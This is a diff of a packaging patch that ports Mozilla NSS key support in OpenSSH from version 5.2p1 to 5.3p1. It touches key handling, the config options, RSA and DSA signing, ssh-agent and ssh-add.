++#define KEY_FLAG_NSS		0x0002
++
++#ifdef HAVE_LIBNSS
++typedef struct NSSKey NSSKey;
++struct NSSKey {
++	SECKEYPrivateKey *privk;
++	SECKEYPublicKey *pubk;
++};
++#endif
+ 
+ struct Key {
+ 	int	 type;
+ 	int	 flags;
+ 	RSA	*rsa;
+ 	DSA	*dsa;
++#ifdef HAVE_LIBNSS
++	NSSKey  *nss;
++#endif
+ };
+ 
+ Key		*key_new(int);
+ Key		*key_new_private(int);
++Key 		*key_new_nss(int);
++Key		*key_new_nss_copy(int, const Key *);
+ void		 key_free(Key *);
+ Key		*key_demote(const Key *);
+ int		 key_equal(const Key *, const Key *);
+diff -up openssh-5.3p1/Makefile.in.nss-keys openssh-5.3p1/Makefile.in
+--- openssh-5.3p1/Makefile.in.nss-keys	2009-08-28 02:47:38.000000000 +0200
++++ openssh-5.3p1/Makefile.in	2009-10-02 14:09:53.000000000 +0200
+@@ -71,7 +71,7 @@ LIBSSH_OBJS=acss.o authfd.o authfile.o b
+ 	atomicio.o key.o dispatch.o kex.o mac.o uidswap.o uuencode.o misc.o \
+ 	monitor_fdpass.o rijndael.o ssh-dss.o ssh-rsa.o dh.o kexdh.o \
+ 	kexgex.o kexdhc.o kexgexc.o scard.o msg.o progressmeter.o dns.o \
+-	entropy.o scard-opensc.o gss-genr.o umac.o jpake.o schnorr.o
++	entropy.o scard-opensc.o gss-genr.o umac.o jpake.o schnorr.o nsskeys.o
+ 
+ SSHOBJS= ssh.o readconf.o clientloop.o sshtty.o \
+ 	sshconnect.o sshconnect1.o sshconnect2.o mux.o
+diff -up /dev/null openssh-5.3p1/nsskeys.c
+--- /dev/null	2009-09-11 09:35:58.778798825 +0200
++++ openssh-5.3p1/nsskeys.c	2009-10-02 14:09:01.000000000 +0200
 @@ -0,0 +1,327 @@
 +/*
 + * Copyright (c) 2001 Markus Friedl.  All rights reserved.
@@ -770,63 +577,9 @@ diff -up /dev/null openssh-5.2p1/nsskeys
 +}
 +
 +#endif /* HAVE_LIBNSS */
-diff -up openssh-5.2p1/ssh.c.nss-keys openssh-5.2p1/ssh.c
---- openssh-5.2p1/ssh.c.nss-keys	2008-07-04 04:53:50.000000000 +0200
-+++ openssh-5.2p1/ssh.c	2008-11-18 19:11:41.000000000 +0100
-@@ -104,6 +104,9 @@
- #ifdef SMARTCARD
- #include "scard.h"
- #endif
-+#ifdef HAVE_LIBNSS
-+#include "nsskeys.h"
-+#endif
- 
- extern char *__progname;
- 
-@@ -1235,9 +1238,11 @@ load_public_identity_files(void)
- 	int i = 0;
- 	Key *public;
- 	struct passwd *pw;
--#ifdef SMARTCARD
-+#if defined(SMARTCARD) || defined(HAVE_LIBNSS)
- 	Key **keys;
-+#endif
- 
-+#ifdef SMARTCARD
- 	if (options.smartcard_device != NULL &&
- 	    options.num_identity_files < SSH_MAX_IDENTITY_FILES &&
- 	    (keys = sc_get_keys(options.smartcard_device, NULL)) != NULL) {
-@@ -1260,6 +1265,27 @@ load_public_identity_files(void)
- 		xfree(keys);
- 	}
- #endif /* SMARTCARD */
-+#ifdef HAVE_LIBNSS
-+	if (options.use_nss &&
-+	    options.num_identity_files < SSH_MAX_IDENTITY_FILES &&
-+	    (keys = nss_get_keys(options.nss_token, NULL, NULL)) != NULL) {
-+		int count;
-+		for (count = 0; keys[count] != NULL; count++) {
-+			memmove(&options.identity_files[1], &options.identity_files[0],
-+			    sizeof(char *) * (SSH_MAX_IDENTITY_FILES - 1));
-+			memmove(&options.identity_keys[1], &options.identity_keys[0],
-+			    sizeof(Key *) * (SSH_MAX_IDENTITY_FILES - 1));
-+			options.num_identity_files++;
-+			options.identity_keys[0] = keys[count];
-+			options.identity_files[0] = nss_get_key_label(keys[count]);
-+		}
-+		if (options.num_identity_files > SSH_MAX_IDENTITY_FILES)
-+			options.num_identity_files = SSH_MAX_IDENTITY_FILES;
-+		i += count;
-+		xfree(keys);
-+	}
-+#endif /* HAVE_LIBNSS */
-+
- 	if ((pw = getpwuid(original_real_uid)) == NULL)
- 		fatal("load_public_identity_files: getpwuid failed");
- 	pwname = xstrdup(pw->pw_name);
-diff -up /dev/null openssh-5.2p1/nsskeys.h
---- /dev/null	2008-11-17 17:51:52.160001870 +0100
-+++ openssh-5.2p1/nsskeys.h	2008-11-18 19:11:41.000000000 +0100
+diff -up /dev/null openssh-5.3p1/nsskeys.h
+--- /dev/null	2009-09-11 09:35:58.778798825 +0200
++++ openssh-5.3p1/nsskeys.h	2009-10-02 14:09:01.000000000 +0200
 @@ -0,0 +1,39 @@
 +/*
 + * Copyright (c) 2001 Markus Friedl.  All rights reserved.
@@ -862,78 +615,84 @@ diff -up /dev/null openssh-5.2p1/nsskeys
 +int	nss_init(PK11PasswordFunc);
 +Key	**nss_get_keys(const char *, const char *, char *);
 +char	*nss_get_key_label(Key *);
-+/*void	 sc_close(void);*/
-+/*int	 sc_put_key(Key *, const char *);*/
-+
-+#endif
-+#endif
-diff -up openssh-5.2p1/Makefile.in.nss-keys openssh-5.2p1/Makefile.in
---- openssh-5.2p1/Makefile.in.nss-keys	2008-07-08 16:21:12.000000000 +0200
-+++ openssh-5.2p1/Makefile.in	2008-11-18 19:11:41.000000000 +0100
-@@ -71,7 +71,7 @@ LIBSSH_OBJS=acss.o authfd.o authfile.o b
- 	atomicio.o key.o dispatch.o kex.o mac.o uidswap.o uuencode.o misc.o \
- 	monitor_fdpass.o rijndael.o ssh-dss.o ssh-rsa.o dh.o kexdh.o \
- 	kexgex.o kexdhc.o kexgexc.o scard.o msg.o progressmeter.o dns.o \
--	entropy.o scard-opensc.o gss-genr.o umac.o jpake.o schnorr.o
-+	entropy.o scard-opensc.o gss-genr.o umac.o jpake.o schnorr.o nsskeys.o
- 
- SSHOBJS= ssh.o readconf.o clientloop.o sshtty.o \
- 	sshconnect.o sshconnect1.o sshconnect2.o mux.o
-diff -up openssh-5.2p1/key.h.nss-keys openssh-5.2p1/key.h
---- openssh-5.2p1/key.h.nss-keys	2008-06-12 20:40:35.000000000 +0200
-+++ openssh-5.2p1/key.h	2008-11-18 19:11:41.000000000 +0100
-@@ -29,11 +29,17 @@
- #include <openssl/rsa.h>
- #include <openssl/dsa.h>
- 
-+#ifdef HAVE_LIBNSS
-+#include <nss.h>
-+#include <keyhi.h>
-+#endif
-+
- typedef struct Key Key;
- enum types {
- 	KEY_RSA1,
- 	KEY_RSA,
- 	KEY_DSA,
-+	KEY_NSS,
- 	KEY_UNSPEC
- };
- enum fp_type {
-@@ -48,16 +54,30 @@ enum fp_rep {
- 
- /* key is stored in external hardware */
- #define KEY_FLAG_EXT		0x0001
-+#define KEY_FLAG_NSS		0x0002
-+
-+#ifdef HAVE_LIBNSS
-+typedef struct NSSKey NSSKey;
-+struct NSSKey {
-+	SECKEYPrivateKey *privk;
-+	SECKEYPublicKey *pubk;
-+};
++/*void	 sc_close(void);*/
++/*int	 sc_put_key(Key *, const char *);*/
++
 +#endif
- 
- struct Key {
- 	int	 type;
- 	int	 flags;
- 	RSA	*rsa;
- 	DSA	*dsa;
++#endif
+diff -up openssh-5.3p1/readconf.c.nss-keys openssh-5.3p1/readconf.c
+--- openssh-5.3p1/readconf.c.nss-keys	2009-07-05 23:12:27.000000000 +0200
++++ openssh-5.3p1/readconf.c	2009-10-02 14:09:01.000000000 +0200
+@@ -124,6 +124,7 @@ typedef enum {
+ 	oKbdInteractiveAuthentication, oKbdInteractiveDevices, oHostKeyAlias,
+ 	oDynamicForward, oPreferredAuthentications, oHostbasedAuthentication,
+ 	oHostKeyAlgorithms, oBindAddress, oSmartcardDevice,
++	oUseNSS, oNSSToken,
+ 	oClearAllForwardings, oNoHostAuthenticationForLocalhost,
+ 	oEnableSSHKeysign, oRekeyLimit, oVerifyHostKeyDNS, oConnectTimeout,
+ 	oAddressFamily, oGssAuthentication, oGssDelegateCreds,
+@@ -210,6 +211,13 @@ static struct {
+ #else
+ 	{ "smartcarddevice", oUnsupported },
+ #endif
 +#ifdef HAVE_LIBNSS
-+	NSSKey  *nss;
++	{ "usenss", oUseNSS },
++	{ "nsstoken", oNSSToken },
++#else
++	{ "usenss", oUnsupported },
++	{ "nsstoken", oNSSToken },
 +#endif
- };
+ 	{ "clearallforwardings", oClearAllForwardings },
+ 	{ "enablesshkeysign", oEnableSSHKeysign },
+ 	{ "verifyhostkeydns", oVerifyHostKeyDNS },
+@@ -613,6 +621,14 @@ parse_string:
+ 		charptr = &options->smartcard_device;
+ 		goto parse_string;
  
- Key		*key_new(int);
- Key		*key_new_private(int);
-+Key 		*key_new_nss(int);
-+Key		*key_new_nss_copy(int, const Key *);
- void		 key_free(Key *);
- Key		*key_demote(const Key *);
- int		 key_equal(const Key *, const Key *);
-diff -up openssh-5.2p1/ssh-add.c.nss-keys openssh-5.2p1/ssh-add.c
---- openssh-5.2p1/ssh-add.c.nss-keys	2008-02-28 09:13:52.000000000 +0100
-+++ openssh-5.2p1/ssh-add.c	2008-11-18 19:11:41.000000000 +0100
++	case oUseNSS:
++		intptr = &options->use_nss;
++		goto parse_flag;
++
++	case oNSSToken:
++		charptr = &options->nss_token;
++		goto parse_command;
++
+ 	case oProxyCommand:
+ 		charptr = &options->proxy_command;
+ parse_command:
+@@ -1052,6 +1068,8 @@ initialize_options(Options * options)
+ 	options->preferred_authentications = NULL;
+ 	options->bind_address = NULL;
+ 	options->smartcard_device = NULL;
++	options->use_nss = -1;
++	options->nss_token = NULL;
+ 	options->enable_ssh_keysign = - 1;
+ 	options->no_host_authentication_for_localhost = - 1;
+ 	options->identities_only = - 1;
+@@ -1183,6 +1201,8 @@ fill_default_options(Options * options)
+ 		options->no_host_authentication_for_localhost = 0;
+ 	if (options->identities_only == -1)
+ 		options->identities_only = 0;
++	if (options->use_nss == -1)
++		options->use_nss = 0;
+ 	if (options->enable_ssh_keysign == -1)
+ 		options->enable_ssh_keysign = 0;
+ 	if (options->rekey_limit == -1)
+diff -up openssh-5.3p1/readconf.h.nss-keys openssh-5.3p1/readconf.h
+--- openssh-5.3p1/readconf.h.nss-keys	2009-07-05 23:12:27.000000000 +0200
++++ openssh-5.3p1/readconf.h	2009-10-02 14:09:01.000000000 +0200
+@@ -85,6 +85,8 @@ typedef struct {
+ 	char   *preferred_authentications;
+ 	char   *bind_address;	/* local socket address for connection to sshd */
+ 	char   *smartcard_device; /* Smartcard reader device */
++	int     use_nss;        /* Use NSS library for keys */
++	char   *nss_token;      /* Look for NSS keys on token */
+ 	int	verify_host_key_dns;	/* Verify host key using DNS */
+ 
+ 	int     num_identity_files;	/* Number of files for RSA/DSA identities. */
+diff -up openssh-5.3p1/ssh-add.c.nss-keys openssh-5.3p1/ssh-add.c
+--- openssh-5.3p1/ssh-add.c.nss-keys	2008-02-28 09:13:52.000000000 +0100
++++ openssh-5.3p1/ssh-add.c	2009-10-02 14:09:01.000000000 +0200
 @@ -44,6 +44,14 @@
  #include <openssl/evp.h>
  #include "openbsd-compat/openssl-compat.h"
@@ -957,7 +716,7 @@ diff -up openssh-5.2p1/ssh-add.c.nss-key
  #include "buffer.h"
  #include "authfd.h"
  #include "authfile.h"
-@@ -307,6 +316,117 @@ do_file(AuthenticationConnection *ac, in
+@@ -307,6 +316,128 @@ do_file(AuthenticationConnection *ac, in
  	return 0;
  }
  
@@ -1004,8 +763,10 @@ diff -up openssh-5.2p1/ssh-add.c.nss-key
 +	SECKEYPrivateKeyListNode *node;
 +	char *passcache = NULL;
 +	char *tokenname;
++	char **xkeyname = NULL;
 +	
 +	int count = 0;
++	int i;
 +	
 +	if (PK11_NeedLogin(slot))
 +		PK11_Authenticate(slot, PR_TRUE, &passcache);
@@ -1046,21 +807,30 @@ diff -up openssh-5.2p1/ssh-add.c.nss-key
 +			continue; /* not possible to obtain public key */
 +		}
 +		SECKEY_DestroyPublicKey(pub);
++	
++		if ((count % 10) == 0)	
++			xkeyname = xrealloc (xkeyname, count + 10, sizeof (char *));
 +		
-+		if (ssh_update_nss_key(ac, add, tokenname, keyname,
++		xkeyname[count++] = keyname;
++	}
++
++	PK11_Logout(slot);
++
++	for (i = 0; i < count; i++) {
++		if (ssh_update_nss_key(ac, add, tokenname, xkeyname[i],
 +			passcache?passcache:"",	lifetime, confirm)) {
 +			fprintf(stderr, "Key %s: %s:%s\n",
-+				add?"added":"removed", tokenname, keyname);
-+			count++;
++				add?"added":"removed", tokenname, xkeyname[i]);
 +		} else {
 +			fprintf(stderr, "Could not %s key: %s:%s\n",
-+				add?"add":"remove", tokenname, keyname);
++				add?"add":"remove", tokenname, xkeyname[i]);
 +		}
-+		
-+		PORT_Free(keyname);
-+		count++;
++		PORT_Free(xkeyname[i]);
 +	}
 +
++	if (xkeyname != NULL)
++		free (xkeyname);
++
 +	if (passcache != NULL) {
 +		memset(passcache, 0, strlen(passcache));
 +		xfree(passcache);
@@ -1075,7 +845,7 @@ diff -up openssh-5.2p1/ssh-add.c.nss-key
  static void
  usage(void)
  {
-@@ -334,6 +454,10 @@ main(int argc, char **argv)
+@@ -334,6 +465,10 @@ main(int argc, char **argv)
  	AuthenticationConnection *ac = NULL;
  	char *sc_reader_id = NULL;
  	int i, ch, deleting = 0, ret = 0;
@@ -1086,7 +856,7 @@ diff -up openssh-5.2p1/ssh-add.c.nss-key
  
  	/* Ensure that fds 0, 1 and 2 are open or directed to /dev/null */
  	sanitise_stdfd();
-@@ -351,7 +475,7 @@ main(int argc, char **argv)
+@@ -351,7 +486,7 @@ main(int argc, char **argv)
  		    "Could not open a connection to your authentication agent.\n");
  		exit(2);
  	}
@@ -1095,7 +865,7 @@ diff -up openssh-5.2p1/ssh-add.c.nss-key
  		switch (ch) {
  		case 'l':
  		case 'L':
-@@ -373,6 +497,11 @@ main(int argc, char **argv)
+@@ -373,6 +508,11 @@ main(int argc, char **argv)
  			if (delete_all(ac) == -1)
  				ret = 1;
  			goto done;
@@ -1107,7 +877,7 @@ diff -up openssh-5.2p1/ssh-add.c.nss-key
  		case 's':
  			sc_reader_id = optarg;
  			break;
-@@ -387,6 +516,11 @@ main(int argc, char **argv)
+@@ -387,6 +527,11 @@ main(int argc, char **argv)
  				goto done;
  			}
  			break;
@@ -1119,7 +889,7 @@ diff -up openssh-5.2p1/ssh-add.c.nss-key
  		default:
  			usage();
  			ret = 1;
-@@ -400,6 +534,40 @@ main(int argc, char **argv)
+@@ -400,6 +545,40 @@ main(int argc, char **argv)
  			ret = 1;
  		goto done;
  	}
@@ -1151,91 +921,277 @@ diff -up openssh-5.2p1/ssh-add.c.nss-key
 +		if (count == 0) {
 +			ret = 1;
 +		}
-+nss_done:		
-+		NSS_Shutdown();
-+		clear_pass();
-+		goto done;
++nss_done:		
++		NSS_Shutdown();
++		clear_pass();
++		goto done;
++	}
++#endif
+ 	if (argc == 0) {
+ 		char buf[MAXPATHLEN];
+ 		struct passwd *pw;
+diff -up openssh-5.3p1/ssh-agent.c.nss-keys openssh-5.3p1/ssh-agent.c
+--- openssh-5.3p1/ssh-agent.c.nss-keys	2009-06-21 09:50:15.000000000 +0200
++++ openssh-5.3p1/ssh-agent.c	2009-10-02 14:09:01.000000000 +0200
+@@ -80,6 +80,10 @@
+ #include "scard.h"
+ #endif
+ 
++#ifdef HAVE_LIBNSS
++#include "nsskeys.h"
++#endif
++
+ #if defined(HAVE_SYS_PRCTL_H)
+ #include <sys/prctl.h>	/* For prctl() and PR_SET_DUMPABLE */
+ #endif
+@@ -714,6 +718,114 @@ send:
+ }
+ #endif /* SMARTCARD */
+ 
++#ifdef HAVE_LIBNSS
++static void
++process_add_nss_key (SocketEntry *e)
++{
++	char *tokenname = NULL, *keyname = NULL, *password = NULL;
++	int i, version, success = 0, death = 0, confirm = 0;
++	Key **keys, *k;
++	Identity *id;
++	Idtab *tab;
++
++	tokenname = buffer_get_string(&e->request, NULL);
++	keyname = buffer_get_string(&e->request, NULL);
++	password = buffer_get_string(&e->request, NULL);
++
++	while (buffer_len(&e->request)) {
++		switch (buffer_get_char(&e->request)) {
++		case SSH_AGENT_CONSTRAIN_LIFETIME:
++			death = time(NULL) + buffer_get_int(&e->request);
++			break;
++		case SSH_AGENT_CONSTRAIN_CONFIRM:
++			confirm = 1;
++			break;
++		default:
++			break;
++		}
++	}
++	if (lifetime && !death)
++		death = time(NULL) + lifetime;
++
++	keys = nss_get_keys(tokenname, keyname, password);
++	/* password is owned by keys[0] now */
++	xfree(tokenname);
++	xfree(keyname);
++
++	if (keys == NULL) {
++		memset(password, 0, strlen(password));
++		xfree(password);
++		error("nss_get_keys failed");
++		goto send;
++	}
++	for (i = 0; keys[i] != NULL; i++) {
++		k = keys[i];
++		version = k->type == KEY_RSA1 ? 1 : 2;
++		tab = idtab_lookup(version);
++		if (lookup_identity(k, version) == NULL) {
++			id = xmalloc(sizeof(Identity));
++			id->key = k;
++			id->comment = nss_get_key_label(k);
++			id->death = death;
++			id->confirm = confirm;
++			TAILQ_INSERT_TAIL(&tab->idlist, id, next);
++			tab->nentries++;
++			success = 1;
++		} else {
++			key_free(k);
++		}
++		keys[i] = NULL;
++	}
++	xfree(keys);
++send:
++	buffer_put_int(&e->output, 1);
++	buffer_put_char(&e->output,
++	    success ? SSH_AGENT_SUCCESS : SSH_AGENT_FAILURE);
++}
++
++static void
++process_remove_nss_key(SocketEntry *e)
++{
++	char *tokenname = NULL, *keyname = NULL, *password = NULL;
++	int i, version, success = 0;
++	Key **keys, *k = NULL;
++	Identity *id;
++	Idtab *tab;
++
++	tokenname = buffer_get_string(&e->request, NULL);
++	keyname = buffer_get_string(&e->request, NULL);
++	password = buffer_get_string(&e->request, NULL);
++
++	keys = nss_get_keys(tokenname, keyname, password);
++	xfree(tokenname);
++	xfree(keyname);
++	xfree(password);
++
++	if (keys == NULL || keys[0] == NULL) {
++		error("nss_get_keys failed");
++		goto send;
++	}
++	for (i = 0; keys[i] != NULL; i++) {
++		k = keys[i];
++		version = k->type == KEY_RSA1 ? 1 : 2;
++		if ((id = lookup_identity(k, version)) != NULL) {
++			tab = idtab_lookup(version);
++			TAILQ_REMOVE(&tab->idlist, id, next);
++			tab->nentries--;
++			free_identity(id);
++			success = 1;
++		}
++		key_free(k);
++		keys[i] = NULL;
++	}
++	xfree(keys);
++send:
++	buffer_put_int(&e->output, 1);
++	buffer_put_char(&e->output,
++	    success ? SSH_AGENT_SUCCESS : SSH_AGENT_FAILURE);
++}
++#endif /* HAVE_LIBNSS */
++
+ /* dispatch incoming messages */
+ 
+ static void
+@@ -806,6 +918,15 @@ process_message(SocketEntry *e)
+ 		process_remove_smartcard_key(e);
+ 		break;
+ #endif /* SMARTCARD */
++#ifdef HAVE_LIBNSS
++	case SSH_AGENTC_ADD_NSS_KEY:
++	case SSH_AGENTC_ADD_NSS_KEY_CONSTRAINED:
++		process_add_nss_key(e);
++		break;
++	case SSH_AGENTC_REMOVE_NSS_KEY:
++		process_remove_nss_key(e);
++		break;
++#endif /* SMARTCARD */
+ 	default:
+ 		/* Unknown message.  Respond with failure. */
+ 		error("Unknown message %d", type);
+diff -up openssh-5.3p1/ssh.c.nss-keys openssh-5.3p1/ssh.c
+--- openssh-5.3p1/ssh.c.nss-keys	2009-07-05 23:16:56.000000000 +0200
++++ openssh-5.3p1/ssh.c	2009-10-02 14:09:01.000000000 +0200
+@@ -105,6 +105,9 @@
+ #ifdef SMARTCARD
+ #include "scard.h"
+ #endif
++#ifdef HAVE_LIBNSS
++#include "nsskeys.h"
++#endif
+ 
+ extern char *__progname;
+ 
+@@ -1234,9 +1237,11 @@ load_public_identity_files(void)
+ 	int i = 0;
+ 	Key *public;
+ 	struct passwd *pw;
+-#ifdef SMARTCARD
++#if defined(SMARTCARD) || defined(HAVE_LIBNSS)
+ 	Key **keys;
++#endif
+ 
++#ifdef SMARTCARD
+ 	if (options.smartcard_device != NULL &&
+ 	    options.num_identity_files < SSH_MAX_IDENTITY_FILES &&
+ 	    (keys = sc_get_keys(options.smartcard_device, NULL)) != NULL) {
+@@ -1259,6 +1264,27 @@ load_public_identity_files(void)
+ 		xfree(keys);
+ 	}
+ #endif /* SMARTCARD */
++#ifdef HAVE_LIBNSS
++	if (options.use_nss &&
++	    options.num_identity_files < SSH_MAX_IDENTITY_FILES &&
++	    (keys = nss_get_keys(options.nss_token, NULL, NULL)) != NULL) {
++		int count;
++		for (count = 0; keys[count] != NULL; count++) {
++			memmove(&options.identity_files[1], &options.identity_files[0],
++			    sizeof(char *) * (SSH_MAX_IDENTITY_FILES - 1));
++			memmove(&options.identity_keys[1], &options.identity_keys[0],
++			    sizeof(Key *) * (SSH_MAX_IDENTITY_FILES - 1));
++			options.num_identity_files++;
++			options.identity_keys[0] = keys[count];
++			options.identity_files[0] = nss_get_key_label(keys[count]);
++		}
++		if (options.num_identity_files > SSH_MAX_IDENTITY_FILES)
++			options.num_identity_files = SSH_MAX_IDENTITY_FILES;
++		i += count;
++		xfree(keys);
 +	}
-+#endif
- 	if (argc == 0) {
- 		char buf[MAXPATHLEN];
- 		struct passwd *pw;
-diff -up openssh-5.2p1/ssh-rsa.c.nss-keys openssh-5.2p1/ssh-rsa.c
---- openssh-5.2p1/ssh-rsa.c.nss-keys	2006-09-01 07:38:37.000000000 +0200
-+++ openssh-5.2p1/ssh-rsa.c	2008-11-18 19:11:41.000000000 +0100
-@@ -32,6 +32,10 @@
- #include "compat.h"
- #include "ssh.h"
++#endif /* HAVE_LIBNSS */
++
+ 	if ((pw = getpwuid(original_real_uid)) == NULL)
+ 		fatal("load_public_identity_files: getpwuid failed");
+ 	pwname = xstrdup(pw->pw_name);
+diff -up openssh-5.3p1/ssh-dss.c.nss-keys openssh-5.3p1/ssh-dss.c
+--- openssh-5.3p1/ssh-dss.c.nss-keys	2006-11-07 13:14:42.000000000 +0100
++++ openssh-5.3p1/ssh-dss.c	2009-10-02 14:09:01.000000000 +0200
+@@ -39,6 +39,10 @@
+ #include "log.h"
+ #include "key.h"
  
 +#ifdef HAVE_LIBNSS
 +#include <cryptohi.h>
 +#endif
 +
- static int openssh_RSA_verify(int, u_char *, u_int, u_char *, u_int, RSA *);
+ #define INTBLOB_LEN	20
+ #define SIGBLOB_LEN	(2*INTBLOB_LEN)
  
- /* RSASSA-PKCS1-v1_5 (PKCS #1 v2.0 signature) with SHA1 */
-@@ -50,6 +54,38 @@ ssh_rsa_sign(const Key *key, u_char **si
- 		error("ssh_rsa_sign: no RSA key");
+@@ -57,6 +61,34 @@ ssh_dss_sign(const Key *key, u_char **si
+ 		error("ssh_dss_sign: no DSA key");
  		return -1;
  	}
-+
-+	slen = RSA_size(key->rsa);
-+	sig = xmalloc(slen);
-+
 +#ifdef HAVE_LIBNSS
 +	if (key->flags & KEY_FLAG_NSS) {
 +		SECItem sigitem;
-+		SECOidTag alg;
++		SECItem *rawsig;
 +
 +		memset(&sigitem, 0, sizeof(sigitem));
-+		alg = (datafellows & SSH_BUG_RSASIGMD5) ?
-+			SEC_OID_PKCS1_MD5_WITH_RSA_ENCRYPTION :
-+			SEC_OID_PKCS1_SHA1_WITH_RSA_ENCRYPTION;
-+
 +		if (SEC_SignData(&sigitem, (u_char *)data, datalen, key->nss->privk,
-+			alg) != SECSuccess) {
-+			error("ssh_rsa_sign: sign failed");
++			SEC_OID_ANSIX9_DSA_SIGNATURE_WITH_SHA1_DIGEST) != SECSuccess) {
++			error("ssh_dss_sign: sign failed");
 +			return -1;
 +		}
-+		if (sigitem.len > slen) {
-+			error("ssh_rsa_sign: slen %u slen2 %u", slen, sigitem.len);
-+			xfree(sig);
++		
++		if ((rawsig=DSAU_DecodeDerSig(&sigitem)) == NULL) {
++			error("ssh_dss_sign: der decode failed");
 +			SECITEM_ZfreeItem(&sigitem, PR_FALSE);
 +			return -1;
 +		}
-+		if (sigitem.len < slen) {
-+			memset(sig, 0, slen - sigitem.len);
-+		}
-+		memcpy(sig+slen-sigitem.len, sigitem.data, sigitem.len);
 +		SECITEM_ZfreeItem(&sigitem, PR_FALSE);
++		if (rawsig->len != SIGBLOB_LEN) {
++			error("ssh_dss_sign: unsupported signature length %d",
++				rawsig->len);
++			SECITEM_ZfreeItem(rawsig, PR_TRUE);
++			return -1;
++		}
++		memcpy(sigblob, rawsig->data, SIGBLOB_LEN);
++		SECITEM_ZfreeItem(rawsig, PR_TRUE);
 +	} else {
 +#endif
- 	nid = (datafellows & SSH_BUG_RSASIGMD5) ? NID_md5 : NID_sha1;
- 	if ((evp_md = EVP_get_digestbynid(nid)) == NULL) {
- 		error("ssh_rsa_sign: EVP_get_digestbynid %d failed", nid);
-@@ -59,9 +95,6 @@ ssh_rsa_sign(const Key *key, u_char **si
+ 	EVP_DigestInit(&md, evp_md);
  	EVP_DigestUpdate(&md, data, datalen);
  	EVP_DigestFinal(&md, digest, &dlen);
- 
--	slen = RSA_size(key->rsa);
--	sig = xmalloc(slen);
+@@ -80,7 +112,9 @@ ssh_dss_sign(const Key *key, u_char **si
+ 	BN_bn2bin(sig->r, sigblob+ SIGBLOB_LEN - INTBLOB_LEN - rlen);
+ 	BN_bn2bin(sig->s, sigblob+ SIGBLOB_LEN - slen);
+ 	DSA_SIG_free(sig);
 -
- 	ok = RSA_sign(nid, digest, dlen, sig, &len, key->rsa);
- 	memset(digest, 'd', sizeof(digest));
- 
-@@ -83,6 +116,9 @@ ssh_rsa_sign(const Key *key, u_char **si
- 		xfree(sig);
- 		return -1;
- 	}
 +#ifdef HAVE_LIBNSS
 +	}
 +#endif
- 	/* encode signature */
- 	buffer_init(&b);
- 	buffer_put_cstring(&b, "ssh-rsa");
-diff -up openssh-5.2p1/ssh-keygen.c.nss-keys openssh-5.2p1/ssh-keygen.c
---- openssh-5.2p1/ssh-keygen.c.nss-keys	2008-07-14 03:28:29.000000000 +0200
-+++ openssh-5.2p1/ssh-keygen.c	2008-11-18 19:11:41.000000000 +0100
+ 	if (datafellows & SSH_BUG_SIGBLOB) {
+ 		if (lenp != NULL)
+ 			*lenp = SIGBLOB_LEN;
+diff -up openssh-5.3p1/ssh-keygen.c.nss-keys openssh-5.3p1/ssh-keygen.c
+--- openssh-5.3p1/ssh-keygen.c.nss-keys	2009-06-22 08:11:07.000000000 +0200
++++ openssh-5.3p1/ssh-keygen.c	2009-10-02 14:09:01.000000000 +0200
 @@ -53,6 +53,11 @@
  #include "scard.h"
  #endif
@@ -1337,61 +1293,116 @@ diff -up openssh-5.2p1/ssh-keygen.c.nss-
  	if (reader_id != NULL) {
  #ifdef SMARTCARD
  		if (download)
-diff -up openssh-5.2p1/readconf.c.nss-keys openssh-5.2p1/readconf.c
---- openssh-5.2p1/readconf.c.nss-keys	2008-06-29 16:04:03.000000000 +0200
-+++ openssh-5.2p1/readconf.c	2008-11-18 19:11:41.000000000 +0100
-@@ -124,6 +124,7 @@ typedef enum {
- 	oKbdInteractiveAuthentication, oKbdInteractiveDevices, oHostKeyAlias,
- 	oDynamicForward, oPreferredAuthentications, oHostbasedAuthentication,
- 	oHostKeyAlgorithms, oBindAddress, oSmartcardDevice,
-+	oUseNSS, oNSSToken,
- 	oClearAllForwardings, oNoHostAuthenticationForLocalhost,
- 	oEnableSSHKeysign, oRekeyLimit, oVerifyHostKeyDNS, oConnectTimeout,
- 	oAddressFamily, oGssAuthentication, oGssDelegateCreds,
-@@ -210,6 +211,13 @@ static struct {
- #else
- 	{ "smartcarddevice", oUnsupported },
- #endif
+diff -up openssh-5.3p1/ssh-rsa.c.nss-keys openssh-5.3p1/ssh-rsa.c
+--- openssh-5.3p1/ssh-rsa.c.nss-keys	2006-09-01 07:38:37.000000000 +0200
++++ openssh-5.3p1/ssh-rsa.c	2009-10-02 14:09:01.000000000 +0200
+@@ -32,6 +32,10 @@
+ #include "compat.h"
+ #include "ssh.h"
+ 
 +#ifdef HAVE_LIBNSS
-+	{ "usenss", oUseNSS },
-+	{ "nsstoken", oNSSToken },
-+#else
-+	{ "usenss", oUnsupported },
-+	{ "nsstoken", oNSSToken },
++#include <cryptohi.h>
 +#endif
- 	{ "clearallforwardings", oClearAllForwardings },
- 	{ "enablesshkeysign", oEnableSSHKeysign },
- 	{ "verifyhostkeydns", oVerifyHostKeyDNS },
-@@ -603,6 +611,14 @@ parse_string:
- 		charptr = &options->smartcard_device;
- 		goto parse_string;
++
+ static int openssh_RSA_verify(int, u_char *, u_int, u_char *, u_int, RSA *);
  
-+	case oUseNSS:
-+		intptr = &options->use_nss;
-+		goto parse_flag;
+ /* RSASSA-PKCS1-v1_5 (PKCS #1 v2.0 signature) with SHA1 */
+@@ -50,6 +54,38 @@ ssh_rsa_sign(const Key *key, u_char **si
+ 		error("ssh_rsa_sign: no RSA key");
+ 		return -1;
+ 	}
 +
-+	case oNSSToken:
-+		charptr = &options->nss_token;
-+		goto parse_command;
++	slen = RSA_size(key->rsa);
++	sig = xmalloc(slen);
 +
- 	case oProxyCommand:
- 		charptr = &options->proxy_command;
- parse_command:
-@@ -1055,6 +1071,8 @@ initialize_options(Options * options)
- 	options->preferred_authentications = NULL;
- 	options->bind_address = NULL;
- 	options->smartcard_device = NULL;
-+	options->use_nss = -1;
-+	options->nss_token = NULL;
- 	options->enable_ssh_keysign = - 1;
- 	options->no_host_authentication_for_localhost = - 1;
- 	options->identities_only = - 1;
-@@ -1184,6 +1202,8 @@ fill_default_options(Options * options)
- 		options->no_host_authentication_for_localhost = 0;
- 	if (options->identities_only == -1)
- 		options->identities_only = 0;
-+	if (options->use_nss == -1)
-+		options->use_nss = 0;
- 	if (options->enable_ssh_keysign == -1)
- 		options->enable_ssh_keysign = 0;
- 	if (options->rekey_limit == -1)
++#ifdef HAVE_LIBNSS
++	if (key->flags & KEY_FLAG_NSS) {
++		SECItem sigitem;
++		SECOidTag alg;
++
++		memset(&sigitem, 0, sizeof(sigitem));
